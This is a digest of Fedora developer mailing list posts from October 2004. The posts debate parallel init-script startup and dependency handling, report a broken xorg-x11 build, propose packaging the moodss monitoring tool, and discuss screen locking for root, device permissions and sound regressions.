Date: Wed, 20 Oct 2004 17:31:00 +0200 Subject: Paralell startup In-Reply-To: <1098283996.2803.22.camel@laptop.fenrus.com> References: <1098202227.2734.23.camel@kyrre> <1098283996.2803.22.camel@laptop.fenrus.com> Message-ID: <1098286260.18506.54.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 10:53 -0400, Arjan van de Ven a ?crit : > On Tue, 2004-10-19 at 12:10, Kyrre Ness Sjobak wrote: > > I am hearing much good from the gentoo camp about paralell startup, and > > how it brings down boot times to about 30 secounds. Is this possible to > > do with fedora as well? > > problem with parallel startup is that it *ALSO* increases how much the > disk has to seek, which slows things down. For me it's not clear if it's > actually a real gain or just a placebo one. Placebo, perhaps. I appreciate the speed up of readahead. I boot in 35 seconds (gdm login) ! Just disable rhgb and suppress unneeded (for me) services. I also add other services (apache, postgresql, named, squid). Athon xp 1600. IDE drive. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From ronny-vlug at vlugnet.org Wed Oct 20 20:29:11 2004 From: ronny-vlug at vlugnet.org (Ronny Buchmann) Date: Wed, 20 Oct 2004 22:29:11 +0200 Subject: rawhide report: 20041020 changes In-Reply-To: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> References: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Message-ID: <200410202229.11323.ronny-vlug@vlugnet.org> On Wednesday 20 October 2004 14:23, Build System wrote: > xorg-x11-6.8.1-10 > ----------------- > * Tue Oct 19 2004 6.8.1-10 > > - Set with_fonts based off build_fc2 macro, so it is enabled for FC2 builds > but remains disabled for FC3 and other builds. Makes it easier to > rebuild for FC2/FC1. > - Fix to make Vera font really get deleted this time for real. ;o) > > * Mon Oct 18 2004 6.8.1-9 > > - Add xorg-x11-6.8.1-init-origins-fix.patch, which fixes a crash for > some invalid xorg.conf combinations (#134967). > > * Mon Oct 18 2004 Mike A. Harris > > - Do not include the Bitstream Vera fonts when doing builds with with_fonts > enabled, as we ship Vera in separate packaging already. > - When doing with_fonts builds to generate the fonts-xorg tarball, remove > various Syriac fonts which contain bad codepoints: SyrCOMCtesiphon.otf > SyrCOMKharput.otf, SyrCOMMalankara.otf, SyrCOMMidyat.otf, > SyrCOMQenNeshrin.otf SyrCOMTurAbdin.otf, SyrCOMUrhoyBold.otf, > SyrCOMUrhoy.otf (bug #97951) only to warn people: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136478 -------- Additional Comment #9 From Kristian H?gsberg on 2004-10-20 13:54 ------- Thanks for reporting this. There should be an xorg-x11-6.8.1-12 out soon to fix this, in the meantime, avoid the xorg-x11-6.8.1-{9,10,11} builds and stick to xorg-x11-6.8.1-8. Kristian --------- -- http://LinuxWiki.org/RonnyBuchmann From grmoc at yahoo.com Wed Oct 20 20:35:29 2004 From: grmoc at yahoo.com (Roberto Peon) Date: Wed, 20 Oct 2004 16:35:29 -0400 Subject: Paralell startup In-Reply-To: <1098283996.2803.22.camel@laptop.fenrus.com> References: <1098202227.2734.23.camel@kyrre> <1098283996.2803.22.camel@laptop.fenrus.com> Message-ID: <200410201635.29227.grmoc@yahoo.com> It is a real gain. Many services sit there and wait for a network timeout, or other high-latency, low-disk activity. Annoying. Load the other, non-dependant services in the meanwhile. Head 'thrashing' due to multiple application access may cause some overall ineffiency, but it really depends on the ratio of disk activity to application latency. -Roberto JP On Wednesday 20 October 2004 10:53 am, Arjan van de Ven wrote: > On Tue, 2004-10-19 at 12:10, Kyrre Ness Sjobak wrote: > > I am hearing much good from the gentoo camp about paralell startup, and > > how it brings down boot times to about 30 secounds. Is this possible to > > do with fedora as well? > > problem with parallel startup is that it *ALSO* increases how much the > disk has to seek, which slows things down. For me it's not clear if it's > actually a real gain or just a placebo one. From grmoc at yahoo.com Wed Oct 20 20:39:07 2004 From: grmoc at yahoo.com (Roberto Peon) Date: Wed, 20 Oct 2004 16:39:07 -0400 Subject: Paralell startup In-Reply-To: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> Message-ID: <200410201639.07324.grmoc@yahoo.com> On Wednesday 20 October 2004 01:13 pm, James Harrison wrote: > > recache its fonts, or maybe ntpdate is syncing with the time server. > > Sometimes daemons fail, so there has to be a mechanism to show a failure. How would falling back to serial boot help? Not launching the services whose dependancies are not satisfied seems like a good idea to me. It is better than the current, try it anyway, and see it fail (sometimes spectacularly). Your definition of 'boot properly' needs explanation. What does it mean to 'boot properly'? My personal opinion is that you get any system that runs well enough that you can get in and fix the problem (hopefully, as quickly as possible...) has booted successfully, if not satisfactorily. -Roberto JP > What happens if the daemon/service fails that other daemons depend on? Does > the machine fail to boot properly or does it fail back to a serial boot? > > --- Jeff Pitman wrote: > > On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > > > problem with parallel startup is that it *ALSO* increases how much > > > the disk has to seek, which slows things down. For me it's not clear > > > if it's actually a real gain or just a placebo one. > > > > It's a gain for those really long startup daemons. Maybe xfs has to > > recache its fonts, or maybe ntpdate is syncing with the time server. > > > > Then again, if Apache were written in a Bash script with all of its > > functions in separate script files and configuration spread out in > > different files and sourced in, parallelism would be an issue wouldn't > > it? > > > > I actually retooled this: http://www.fefe.de/minit/ for Redhat once and > > the results were just night and day. Of course, I didn't run kudzu or > > anything complicated like that. Just brought up the stuff I needed. > > You practically don't even need hibernate or sleep when you get it this > > good. (Doesn't help with X/GNOME/KDE startup, though) ;-) > > > > have fun, > > -- > > -jeff > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com From jfontain at free.fr Wed Oct 20 20:40:44 2004 From: jfontain at free.fr (Jean-Luc FONTAINE) Date: Wed, 20 Oct 2004 22:40:44 +0200 Subject: monitoring application to evaluate Message-ID: <4176CD4C.2080904@free.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Greetings to all. I believe that moodss, as a powerful and feature-complete monitoring package, is ready to be included in the Red Hat Fedora distribution. Moodss is a modular monitoring application, with both a GUI (moodss) and a daemon (moomps). It can potentially monitor anything, local or remote, as long as a module can retrieve and format the data for the core. Modules can be written in Tcl, Python, Perl or C. A complete set of modules is already included in the distribution, for monitoring Linux, Apache, MySQL, network (SNMP), ... A very intuitive GUI with full drag'n'drop support allows the construction of powerful dashboards with any number of loaded modules, graphs, pie charts, thresholds (with email alerts, scripts), user defined formulas, ... which can then be saved and reloaded at will by both the GUI and the daemon. Available languages for the GUI are: English, Japanese and French. ALong with real-time monitoring, any part of the visible data can be stored in a SQL database (MySQL, SQLite or ODBC), so that, for example, complete history over time can be made available in web pages, common spreadsheet software, or presentations. The GUI can also be used to browse the database. For example, moodss is used by IBM to monitor its Linux mainframes, got nice reviews (further information with screenshots at http://moodss.sourceforge.net/), and has even made it in The Art of UNIX Programming book, by Eric S. Raymond. Should you want to try it, it is quite easy, as moodss is already in the stable repository (version 17.17), but I invite you to try the latest 19.1 version instead: ~ http://jfontain.free.fr/moodss-19.1-0.fdr.1.i386.rpm ~ http://jfontain.free.fr/moomps-4.1-0.fdr.1.noarch.rpm (you will need the tcl, tk rpms, and from the stable repository: blt and tktable) And there is an even quicker way to try it, with a standalone Linux binary, at: ~ http://jfontain.free.fr/moodss-19.1.i386.tar.bz2 complete with all the required software (including SQLite for trying the database feature), which installs in a sub-directory: ~ $ tar -xjf moodss-19.1.i386.tar.bz2 # unpack it ~ $ moodss-19.1/moodss.sh cpustats memstats # now use it ~ $ LANG=ja moodss-19.1/moodss.sh # Japanese GUI! ~ $ rm -rf moodss-19.1/ # remove it Sources: ~ http://jfontain.free.fr/moodss-19.1-0.fdr.1.src.rpm ~ http://jfontain.free.fr/moomps-4.1-0.fdr.1.src.rpm ~ http://download.sourceforge.net/moodss/moodss-19.1.tar.bz2 ~ http://download.sourceforge.net/moodss/moomps-4.1.tar.bz2 Many thanks for your time! - -- Jean-Luc Fontaine mailto:jfontain at free.fr http://jfontain.free.fr/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBds1LkG/MMvcT1qQRAgcPAJ0SwBCdZ3A4yE9q/axSG92s6xTT4gCgwIjw 6yF6jrzjWOFrO95AVz8oSQc= =TeVy -----END PGP SIGNATURE----- From alan at redhat.com Wed Oct 20 20:50:10 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 20 Oct 2004 16:50:10 -0400 Subject: contribute a package In-Reply-To: <20041017163704.5629768c.fedora@wir-sind-cool.org> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <20041017151950.1b78f932.fedora@wir-sind-cool.org> <1098022160.4385.2.camel@kyrre> <20041017163704.5629768c.fedora@wir-sind-cool.org> Message-ID: <20041020205010.GA20701@devserv.devel.redhat.com> On Sun, Oct 17, 2004 at 04:37:04PM +0200, Michael Schwendt wrote: > > I was going to mention that but i thought everyone saw that *but* so i > > dropped it. > > Well, all packages in Fedora Core are maintained by Red Hat employees. ;) Or shadowed by Red Hat employees. Bzflag packaging except for a sanity review was done by outsiders, and Glide3 is only still shipped thanks to non Red Hat rescue work which is btw much appreciated. From jspaleta at gmail.com Wed Oct 20 21:09:35 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Wed, 20 Oct 2004 17:09:35 -0400 Subject: Paralell startup In-Reply-To: <200410201639.07324.grmoc@yahoo.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> Message-ID: <604aa79104102014094a397107@mail.gmail.com> On Wed, 20 Oct 2004 16:39:07 -0400, Roberto Peon wrote: > How would falling back to serial boot help? > > Not launching the services whose dependancies are not satisfied seems like a > good idea to me. It is better than the current, try it anyway, and see it > fail (sometimes spectacularly). Uhm... i think you are mixing several different technical problems together. Parallel booting addresses the specifc problem of how to order 'attempted' start up of service scripts. There is no reason to say that a later script must not be 'attempted' if an eariler script in the ordering has a problem. You are using I think 'dependancy' in an all encomposing way to include hard dependancies as well as conditional dependancies. Just because a 'dependancy' fails to start doesn't mean a later service doesn't launch. Services scripts can have conditional logic... foo initscript if network is running do this if network is not running do that bar initscript if sshd is running do this if sshd is not running do that Are completely valid conditional checks that later scripts can use to taste the state of the system and decide how to proceed. In these cases network and sshd are still dependancies in the sense that they need to be 'attempted' to be run for the conditional logic to have any validity. The startup scripts for these services still need to be 'attempted' before my foo are bar services, but whether or not network is running or sshd is running is not a failure state that causes foo or bar to not be launced. Service scripts that depend on something else running should be robust enough to have conditional logic and do their own internal checking for system state before attempting to doing something spectacularly stupid. Lets not drag failure status into the debate about ordering. Each initscript should internalize its own checks and do its own conditional logic to check for system state. What parallel bootup should be addressing is SOLELY how to order script start up. It should not refuse to attempt to start up a script. If a script has been requested to be on at boot...it should be run at some point in the ordering...and its internal checks should be used to catch system state problems. -jef -jef From alan at redhat.com Wed Oct 20 21:23:47 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 20 Oct 2004 17:23:47 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041018000453.GA22811@nsk.no-ip.org> References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> <20041018000453.GA22811@nsk.no-ip.org> Message-ID: <20041020212347.GB20701@devserv.devel.redhat.com> On Mon, Oct 18, 2004 at 01:04:53AM +0100, Luciano Miguel Ferreira Rocha wrote: > > You'd rather it did what KDE does and not drop privs at all, running > > arbitrary eye-candy sub-processes as root? > > They can't be trusted to run as root? Can they be trusted to be run as > any user at all? KDE doesn't support setuid usage, nor does gtk+. Its a sensible policy anyway. From sopwith at redhat.com Wed Oct 20 21:45:57 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 20 Oct 2004 17:45:57 -0400 (EDT) Subject: Latest Fedora Core 3 status: kernel testing needed Message-ID: As of today, almost everything is frozen rock solid for FC3 - the only changes that should be going in from this point are fixes for showstopper(*) bugs, and kernel bug fixes. Because a good amount of kernel work for FC3 happened after the FC3test3 release, the release of the final FC3 has been delayed to November 8. The extra time will be used only to give extra attention to the kernel, and to find any showstopper bugs in other parts of the distribution. Please rigorously test kernel 2.6.9-1.640 from the development tree (http://download.fedora.redhat.com/pub/fedora/linux/core/development/). Use it! Try to break it! Find big problems with it! File bug reports! And thanks for making sure that Fedora is as high quality as you want it to be. Happy bug hunting, -- Elliot (*) A showstopper bug is one that corrupts data storage or severly impacts the user's basic ability to install and use the system. From grmoc at yahoo.com Wed Oct 20 21:49:33 2004 From: grmoc at yahoo.com (Roberto Peon) Date: Wed, 20 Oct 2004 17:49:33 -0400 Subject: Paralell startup In-Reply-To: <604aa79104102014094a397107@mail.gmail.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> Message-ID: <200410201749.33535.grmoc@yahoo.com> On Wednesday 20 October 2004 05:09 pm, Jeff Spaleta wrote: > On Wed, 20 Oct 2004 16:39:07 -0400, Roberto Peon wrote: > > How would falling back to serial boot help? > > > > Not launching the services whose dependancies are not satisfied seems > > like a good idea to me. It is better than the current, try it anyway, and > > see it fail (sometimes spectacularly). > > Uhm... i think you are mixing several different technical problems > together. Parallel booting addresses the specifc problem of how to order > 'attempted' start up > of service scripts. There is no reason to say that a later script > must not be 'attempted' if an eariler script in the ordering has a > problem. Sure there is- It is (at the least) inefficient, and often error-prone. > You are using I think 'dependancy' in an all encomposing way to > include hard dependancies as well as conditional dependancies. Just > because a 'dependancy' fails to start doesn't mean a later service > doesn't launch. Services scripts can have conditional logic... > foo initscript > if network is running do this > if network is not running do that > bar initscript > if sshd is running do this > if sshd is not running do that > Are completely valid conditional checks that later scripts can use to > taste the state of the system and decide how to proceed. In these > cases network and sshd are still dependancies in the sense that they > need to be 'attempted' to be run for the conditional logic to have any > validity. The startup scripts for these services still need to be > 'attempted' before my foo are bar services, but whether or not network > is running or sshd is running is not a failure state that causes foo > or bar to not be launced. Agreed, and in the current initscripts world, this is an absolute necessity, however, with adequately specified dependancies such checks per service are redundant and inefficient. I believe that stopping at the head of a dependancy chain (as opposed to -forcing- each script to error-check on its own, which is where you're implying we should leave it) is better for the following reasons: 1) Writing state-checking code is typically error-prone and tedius. 2) Reporting that a link in the dependancy chain failed, and so Foo, Bar, and Baz will not be run is much cleaner than scanning the syslog for failure statments from each of Foo, Bar, and Baz. This means that it is easier to fix, i.e. more maintainable. 3) Most of the 'parallel' init schemes that I've seen already use a tool which does dependancy checking... i.e. the tools are robust and useful in dependancy checking/failure situations. > Service scripts that depend on something else running should be robust > enough to have conditional logic and do their own internal checking > for system state before attempting to doing something spectacularly > stupid. If you rephrased that as: Service scripts should fail gracefully, then I'd wholeheartedly agree. I don't view requiring additional overhead as good. A requirement in a dependancy graph might even be virtual, i.e. depend on a system logger daemon be running. This seems like a nice way to deal with things, instead of requiring the script to check for each version of a daemon that it knows about. > Lets not drag failure status into the debate about ordering. > Each initscript should internalize its own checks and do its own > conditional logic to check for system state. What parallel bootup > should be addressing is SOLELY how to order script start up. It should > not refuse to attempt to start up a script. If a script has been > requested to be on at boot...it should be run at some point in the > ordering...and its internal checks should be used to catch system > state problems. > -jef :/ I feel that using the information provided by dependancies can result in a cleaner, easier to fix error condition.. I'm not sure if I know how to reconcile the two viewpoints... Perhaps the only way is to just try it :/ -Roberto JP From strange at nsk.no-ip.org Wed Oct 20 22:26:49 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Wed, 20 Oct 2004 23:26:49 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041020212347.GB20701@devserv.devel.redhat.com> References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> <20041018000453.GA22811@nsk.no-ip.org> <20041020212347.GB20701@devserv.devel.redhat.com> Message-ID: <20041020222649.GA3678@nsk.no-ip.org> On Wed, Oct 20, 2004 at 05:23:47PM -0400, Alan Cox wrote: > On Mon, Oct 18, 2004 at 01:04:53AM +0100, Luciano Miguel Ferreira Rocha wrote: > > > You'd rather it did what KDE does and not drop privs at all, running > > > arbitrary eye-candy sub-processes as root? > > > > They can't be trusted to run as root? Can they be trusted to be run as > > any user at all? > > KDE doesn't support setuid usage, nor does gtk+. Its a sensible policy anyway. We're not talking about setuid usage. Nobody claims for xscreensaver to be set suid. xscreensaver is a normal application that should cause no problems for a user running it. If it fails that goal for root, or 'may fail', then it shouldn't be run as a normal user either. xscreensaver decision to setuid(nobody) when euid == 0 and then require a xhost + is just broken. I fail to see a situation where to run cute (tastes may vary) graphical animations as root would be a no-no, but to run with X unprotected a possibility. That it's not a good policy, sure. But it's not up to the developer to enforce the policy it feels best. IMO, of course. Regards, Luciano Rocha From strange at nsk.no-ip.org Wed Oct 20 22:37:21 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Wed, 20 Oct 2004 23:37:21 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098199360.30531.53.camel@binkley> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752A47.1090408@insitesinc.com> <1098199374.3627.150.camel@jonspc> <1098199360.30531.53.camel@binkley> Message-ID: <20041020223721.GB3678@nsk.no-ip.org> On Tue, Oct 19, 2004 at 11:22:40AM -0400, seth vidal wrote: > > > Where does it end ... more wizards and hand holding, small animated > > characters to help guide people through, while at the same time removing > > anything sharp so users don't cut themselves? > > > > I can understand telling users running X as root is bad, but removing > > the ability to do so seems a bit nanny. > > > > Removing the ability to do so, by default. I agree with that. Gdm has (had?) an "AllowRoot" option that should be enough. A user can always go to a text console and do a manual "startx", and I'm not against allowing that. Regards, Luciano Rocha -- Consciousness: that annoying time between naps. From feliciano.matias at free.fr Wed Oct 20 16:44:12 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 18:44:12 +0200 Subject: Devices and permissions In-Reply-To: <200410201824.56614.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> <200410201646.53231.aportal@univ-montp2.fr> <1098285670.18506.45.camel@localhost.localdomain> <200410201824.56614.aportal@univ-montp2.fr> Message-ID: <1098290652.18506.74.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 18:24 +0200, Alain PORTAL a ?crit : > > Add a warning : > > - /dev/ttyS? : Permission denied, more information in > > /usr/share/doc/-pkgversion>/README > > In %description? Why not. The application should popup the warning _when_ the application (already installed) failed to access /dev/ttyS? . Something like : if ((fd = open("/dev/ttyS0", ...)) == EACCES) { msg_popup("/dev/ttyS0 : Permission denied, more information in /usr/share/doc/-/README") ; } With this, you are sure that the README will be read (if needed). > I was graphically login (kde) as normal user. > I opened a filemanager as root to open the /etc/security/console.perms file. Is /etc/security/console.perms still world readable ? > I made the change and save file. > I logout. > I try to login as normal user but it fails, X didn't want to start and here is > the message I saw (sorry, in french) : > " Un serveur X est d?j? lanc? sur le visuel :0. Est-ce que je dois essayer un > autre visuel ? Si vous r?pondez non, j'essayerai de d?marrer le szerveur > sur :0 une nouvelle fois. (Vous pouvez afficher diff?rentes consoles en > utilisant Ctrl+Alt et une touche de fonction Fn, etc)" > One time I said yes, other time I said no, but I had the same result, unable > to start X. > If I try to login as root, I succeed. > Finally, I had to comment the permissions definitions I added and reboot. > I had also to delete /tmp/.X?-lock. > I can't really help here. Sorry. Get the original console.perms : rpm2cpio pam-...i386.rpm | cpio -iv -m -d ./etc/security/console.perms Do a diff with your console.perms and check if there is sometime wrong. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From shiva at sewingwitch.com Thu Oct 21 02:50:23 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Wed, 20 Oct 2004 19:50:23 -0700 Subject: Paralell startup In-Reply-To: <604aa79104102014094a397107@mail.gmail.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> Message-ID: <0687A3DEE8748B522BA84319@[10.169.6.246]> --On Wednesday, October 20, 2004 5:09 PM -0400 Jeff Spaleta wrote: > Services scripts can have conditional logic... > foo initscript > if network is running do this > if network is not running do that > bar initscript > if sshd is running do this > if sshd is not running do that This is a boot-centric way of looking at the problem. Instead, think hot-plug. foo has two scripts, one that runs right away without a dependency, and the other runs when the network hot-plugs into existence, after the first script signals that it's done. Everything can be event-driven. I followed Jeff Pitman's link and his page has a link to Richard Gooch's interesting "need" scheme: It looks like this scheme stores the dependency graph in init's memory, so shutting down a service should also shut down its dependencies first. (When considering a boot scheme, you also need to consider its effect on shutdown and runlevel-change processing.) From symbiont at berlios.de Thu Oct 21 04:59:55 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Thu, 21 Oct 2004 12:59:55 +0800 Subject: Parallel Shutdown (was Re: Paralell startup) In-Reply-To: <1098294314.2732.27.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> <200410210140.33799.symbiont@berlios.de> <1098294314.2732.27.camel@kyrre> Message-ID: <200410211259.55522.symbiont@berlios.de> On Thursday 21 October 2004 01:45, Kyrre Ness Sjobak wrote: > But really not hi-pri either... No. Shutdown can be made much faster then it is right now. Most processes take a normal SIGINT (killall, pkill) and it will clean up. But, currently, we reload all the scripts, all the configuration, delete pid files, etc. and wait for each and every daemon to say OK before we go to the next. And, the funny thing is we just SIGINT and SIGKILL at the end: rc0.d/S00killall, rc6.d/S00killall. -- -jeff From bobgus at rcn.com Thu Oct 21 05:14:52 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Thu, 21 Oct 2004 00:14:52 -0500 Subject: my startx is failing on new stuff In-Reply-To: <4176C708.5060808@wowway.com> References: <1098217192.3704.4.camel@tiger> <1098153946.6090.3.camel@tiger> <1098217192.3704.4.camel@tiger> Message-ID: On Wed, 20 Oct 2004 16:14:00 -0400, Demond James wrote: >Bob Gustafson wrote: > >>I have looked through recent messages on this list and have not seen anyone >>complaining about loss of X/Gnome/Desktop after yum yum of this morning's >>stuff. snip >https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136478 > Thanks much (My email machine is an 11 yr old Mac which struggles with a web browser). -12 is now available and it works. I needed to download xorg plain and xorg xfs and xorg libs to satisfy rpm dependencies. From michael at insitesinc.com Thu Oct 21 05:39:00 2004 From: michael at insitesinc.com (Michael Favia) Date: Thu, 21 Oct 2004 00:39:00 -0500 Subject: Paralell startup In-Reply-To: <0687A3DEE8748B522BA84319@[10.169.6.246]> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> <0687A3DEE8748B522BA84319@[10.169.6.246]> Message-ID: <41774B74.4050608@insitesinc.com> My quick 2 cents: The goal of a parallel startup is to plunge the user into the graphical login as quickly as possible while the remaining daemons continue starting in the background. This gives the feel of a faster startup and in reality does just that with limited functionality as remaining services come to life. To this end i would create a tree style dependency graph (gantt like) of services as they are installed on the system. Services can specify that they "require" a particular service to be started or simply "request" that a previous daemon be started before it is started (in the first case the current service wouldnt be executed if the dependent failed in the second it would with supposed partial functionality). Every daemon on the tree should be started eventually but particular ones could be fast forwarded by adding them to a specialized queue. The queue is sorted FIFO style and its dependents are added to an independent FILO stack that starts only those services required to get you to the point at which the queued service can run (utilizing parallel startups where possible of course). In the event a service fails the user should be notified and any service that "requires" it shouldnt be started but any service that "requests" it should be with partial functionality. Am i making any sense to other people or am i way off base? This allows you to get into a "working" environment as quickly as possible while also starting the remaining services as efficiently as possible. Feedback always welcome. --mf From cs at zip.com.au Thu Oct 21 06:00:13 2004 From: cs at zip.com.au (Cameron Simpson) Date: Thu, 21 Oct 2004 16:00:13 +1000 Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: <20041021060013.GA9613@cskk.homeip.net> On 13:04 19 Oct 2004, Dan Williams wrote: | On Tue, 2004-10-19 at 18:10 +0200, Kyrre Ness Sjobak wrote: | > I am hearing much good from the gentoo camp about paralell startup, and | > how it brings down boot times to about 30 secounds. Is this possible to | > do with fedora as well? | | Yes, and we should do it. However, it requires lots of changes to the | initscripts :) Not really. | There are a number of projects that have done parallel startup on *NIX | machines. I believe one or two of the BSD variants use parallel startup | and dependencies in their scripts. Seth Nickell has some writeups on a | new startup script architecture as well. I do parallel startup on my FC2 boxes. Some info here: Home page: http://www.cskk.ezoshosting.com/cs/css/rc.mobile.html Manual: http://www.cskk.ezoshosting.com/cs/css/manuals/rc.mobile.1.html Shrug. Works quite well, greatly reduces boot time. Doesn't need any hacking of the initscripts except to use chkconfig to turn everything off, because they're specified in the config file. It only parallelises the init.d scripts; the preamble is all serial still. There's some stuff in there I can probably turn off but obviously not for the general (unknown box) case. But just parallelising the init.d scripts is a significant win. Cheers, -- Cameron Simpson DoD#743 http://www.cskk.ezoshosting.com/cs/ The nether wind, it blows again of many things she speaks: "The time has come to abstain from all cabbages and leeks." - Jonathan E. Quist, DoD #094, From jerone at gmail.com Thu Oct 21 06:33:08 2004 From: jerone at gmail.com (Jerone Young) Date: Thu, 21 Oct 2004 01:33:08 -0500 Subject: More sound problems In-Reply-To: <9f50a7a004102012555d7084c8@mail.gmail.com> References: <1098238728.16403.6.camel@tiger> <1098244171.21306.26.camel@andrewfarris.dev> <9f50a7a004102012555d7084c8@mail.gmail.com> Message-ID: <9f50a7a00410202333476a73bf@mail.gmail.com> Just did another install of FC3 X86_64. Sound problem gone now X problems...oh joy On Wed, 20 Oct 2004 14:55:02 -0500, Jerone Young wrote: > I just did a fresh install today. I get no sound what so ever from > anything. The "firstboot" sound test produces no sound. The gstreamer > test produce no sound. I have everything in the mixer up. > > > > > On Tue, 19 Oct 2004 20:49:30 -0700, Andrew Farris > wrote: > > On Tue, 2004-10-19 at 22:18 -0400, Louis Garcia wrote: > > > > > After rawhide update 10/19 I can't get sound out of my box. Any ideas? > > > > > > > > > > --Louis > > > > > > > > rawhide report 20041019 shows updates to: > > > > gnome-media > > > > gnome-volume-manager > > > > selinux-policy-targeted > > > > udev > > > > > > > > Start with looking at your mixer volumes, devices, perms, selinux > > > > audits.. I have seen any loss of sound from these, so I would think > > > > configuration first. > > > > > > > > btw: there really is nothing to guarantee this is all you updated, just > > > > because thats what changed on rawhide.. so check your update logs for > > > > what changed. > > > > > > Seems gnome-media alsa mixer does not adjusts PCM volume. Went back to -1 > > > and adjusted PCM on OSS mixer and sound is back. > > > > What you're saying is, that using the 'alsa' mixer which was the only > > one shown, you could no longer adjust PCM volume? Was this only for > > apps which use the OSS interface? > > > > - rpm -q --changelog gnome-media | head > > * Mon Oct 18 2004 Colin Walters 2.8.0-2 > > > > - Add patch to not show oss mixers > > > > If you could no longer adjust volume on OSS PCM, thats bugzilla worthy. > > The mixers should have been one and the same. The bug really is in > > gstreamer probably, the change in gnome-media was just to 'not show' the > > OSS mixer that gstreamer provided. > > > > Perhaps the alsa mixer is not handling oss emulation quite the same way > > the oss mixer was? > > > > > > > > -- > > Andrew Farris (lordmorgul) > > - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu > > "..the triumph of evil is for good men to do nothing." (Edmond Burke) > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > From feliciano.matias at free.fr Thu Oct 21 07:15:10 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Thu, 21 Oct 2004 09:15:10 +0200 Subject: More sound problems In-Reply-To: <9f50a7a00410202333476a73bf@mail.gmail.com> References: <1098238728.16403.6.camel@tiger> <1098244171.21306.26.camel@andrewfarris.dev> <9f50a7a004102012555d7084c8@mail.gmail.com> <9f50a7a00410202333476a73bf@mail.gmail.com> Message-ID: <1098342911.8977.3.camel@localhost.localdomain> Le jeudi 21 octobre 2004 ? 01:33 -0500, Jerone Young a ?crit : > Just did another install of FC3 X86_64. Sound problem gone now X > problems...oh joy https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136478 Try these packages : http://people.redhat.com/mharris/testing/unstable/xorg-x11/6.8.1-12/ Or wait the next rawhide update. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From jgorny at aurox.org Thu Oct 21 07:54:57 2004 From: jgorny at aurox.org (Jaroslaw Gorny) Date: Thu, 21 Oct 2004 09:54:57 +0200 Subject: Garbage screen after resume from suspend to disk In-Reply-To: <20041019172214.215c8138@pro8000x.aurox.org> References: <20041019172214.215c8138@pro8000x.aurox.org> Message-ID: <20041021095457.15f1f29d@pro8000x.aurox.org> No answer, hmmm. So, should I understand, that it's not important at all? I thought ATI are quite popular theese days. Jarek On Tue, 19 Oct 2004 17:22:14 +0200 Jaroslaw Gorny wrote: > They've already fixed it in xorg, 